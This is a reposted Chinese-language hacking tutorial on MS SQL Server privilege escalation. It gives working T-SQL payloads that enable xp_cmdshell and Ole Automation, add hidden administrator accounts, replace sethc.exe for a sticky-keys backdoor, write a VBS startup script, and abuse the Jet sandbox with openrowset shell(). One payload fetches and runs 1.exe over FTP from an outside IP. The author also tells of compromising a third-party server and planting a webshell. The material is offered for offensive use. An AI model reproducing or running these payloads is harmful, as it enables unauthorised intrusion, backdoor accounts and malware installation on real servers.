MSSQL提權之xp_cmdshell
一、簡介
xp_cmdshell 擴展存儲過程將命令字符串作為操作系統命令 shell 執行,並以文本行的形式返回所有輸出。
三、SQL Server 2005中的xp_cmdshell
由於存在安全隱患,所以在SQL Server 2005中, xp_cmdshell 默認是關閉的。
此時,如果執行 xp_cmdshell 將會提示服務未開啟:
exec xp_cmdshell 'dir c:/'
消息 15281,級別 16,狀態 1,過程 xp_cmdshell,第 1 行
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務器安全配置的一部分而被關閉。系統管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。
0x01 前提
-
getshell或者存在sql注入並且能夠執行命令。
-
sql server是system權限,sql server默認就是system權限。
0x02 xp_cmdshell
有了xp_cmdshell的話可以執行系統命令,該組件默認是關閉的,因此需要把它打開。
開啟xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure;
關閉xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell', 0;reconfigure
0x03 提權
exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用戶test,密碼test exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用戶到管理員組

SP_OACreate提權經驗
在xp_cmdshell被刪除或者出錯情況下,可以充分利用SP_OACreate進行提權
首先
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
打開組件,2005中默認關閉
1)直接加用戶
2000系統:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 123/add'
xp和2003系統:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 123$ /add'
2)粘貼鍵替換
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
需要同時具備sp_oacreate 和sp_oamethod 兩個功能組件
3)直接傳馬
DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113 > cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echo binary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye >> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q /f&del 1.exe /f /q'--
4)啟動項寫入加賬戶腳本
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
5)如果該服務器有網站,則直接用方法4)寫入一句話
SA權限沙盒模式提權方法
sa下刪除xp_cmdshell和xplog70.dll時候的一種辦法,不算新的了,也被一些人不斷的再次提出來,為了方便自己記憶再寫出來,在這種情況下,要執行命令,條件是要有xp_regwrite。
首先開啟沙盤模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb執行系統命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user cnfjhh fst /add")')
【SQL Server】沙盒提權
實驗環境:windowsXP + SQL Server2005
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
--關閉沙盒模式,如果一次執行全部代碼有問題,先執行上面兩句代碼。
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
--查詢是否正常關閉,經過測試發現沙盒模式無論是開,還是關,都不會影響我們執行下面的語句。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';
--執行系統命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user qianxun 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators qianxun /add")')
-- 恢復配置
exec master..xp_regwrite 'HKEY_LOCALMACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
沙盒模式SandBoxMode參數含義(默認是2)
0:在任何所有者中禁止啟用安全模式
1 :為僅在允許范圍內
2 :必須在access模式下
3:完全開啟
openrowset是可以通過OLE DB訪問SQL Server數據庫,OLE DB是應用程序鏈接到SQL Server的的驅動程序。
關閉沙盒,並創建用戶xiamo,然后將用戶xiamo添加到administrators組中:
如圖所示,添加成功:
沙盒提權的小tips
今天剛好發現有一個SA權限。服務器管理員將大部份擴展都刪除了。最后自己重建sp_makewebtask存儲才搞到一個webshell 了。(重建辦法,先找台正常主機,sp_helptext 'sp_makewebtask',將他的SQL語句重新拷到目標機器執行一次就行了)。
當然有了webshell,無法滿足我們貪婪的欲望。開始測試提權。有serv-u,但是提權失敗了。也許大家會說用back log來提權。但是那個太慢了,要重啟機器,會影響對方業務,同時又會給對方留下不好的印像。有人也許會說用讀取系統賬號的注冊表,導入導出,克隆賬號, 這個辦法也可行,但由於並非黑對方主機,還是要保證對方系統的安整性比較好。(也許是心理因素,^_^)
最后只好試試沙盒模式。很多人SA直接用沙盒模式成功了好多機器,但我從來沒實踐過,也不太清楚成功率如何。只好拿他當回肉雞嘗試了。
由於擴展被刪除,先恢復對注冊表的讀寫存儲。
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll')
修復沙盒的保護模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;--
查看'SandBoxMode'值是否已經變成0了。
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
最后調用沙盒模式
select * from openrowset('microsoft.jet.oledb.4.0',';database=C:WINDOWSsystem32iasdnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
1.如果沙盒保護模式未“關閉”,會報錯:
服務器: 消息 7357,級別 16,狀態 2,行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
2.如果.mdb不存在或是輸入路徑錯誤
服務器: 消息 7399,級別 16,狀態 1,行 1
OLE DB 提供程序 'microsoft.jet.oledb.4.0' 報錯。
[OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。]
OLE DB 錯誤跟蹤[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: ]。
3.如果輸入過程中多了一些空格,也會報錯。尤其要注意這點,很多人直接網上找文章復制粘貼進去執行。
服務器: 消息 7357,級別 16,狀態 2,行 1
未能處理對象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出該對象中沒有任何列。
OLE DB 錯誤跟蹤[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。
4.如果mdb權限和cmd.exe權限不對,同樣會也出現問題。
當mdb權限不對時,
服務器: 消息 7320,級別 16,狀態 2,行 1
未能對 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 執行查詢。
[OLE/DB provider returned message: 未知]
OLE DB 錯誤跟蹤[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]。
5.如果net權限不對時,卻沒有任何提示。
最終的提權辦法就是在當前的web目錄下面上傳系統的ias.mdb和cmd.exe,net.exe三個文件。執行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:webias.mdb','select shell("E:webcmd.exe /c E:webnet.exe user user passwd /add")')
成功增加一個計算機用戶。
轉載於:https://blog.51cto.com/obnus/474675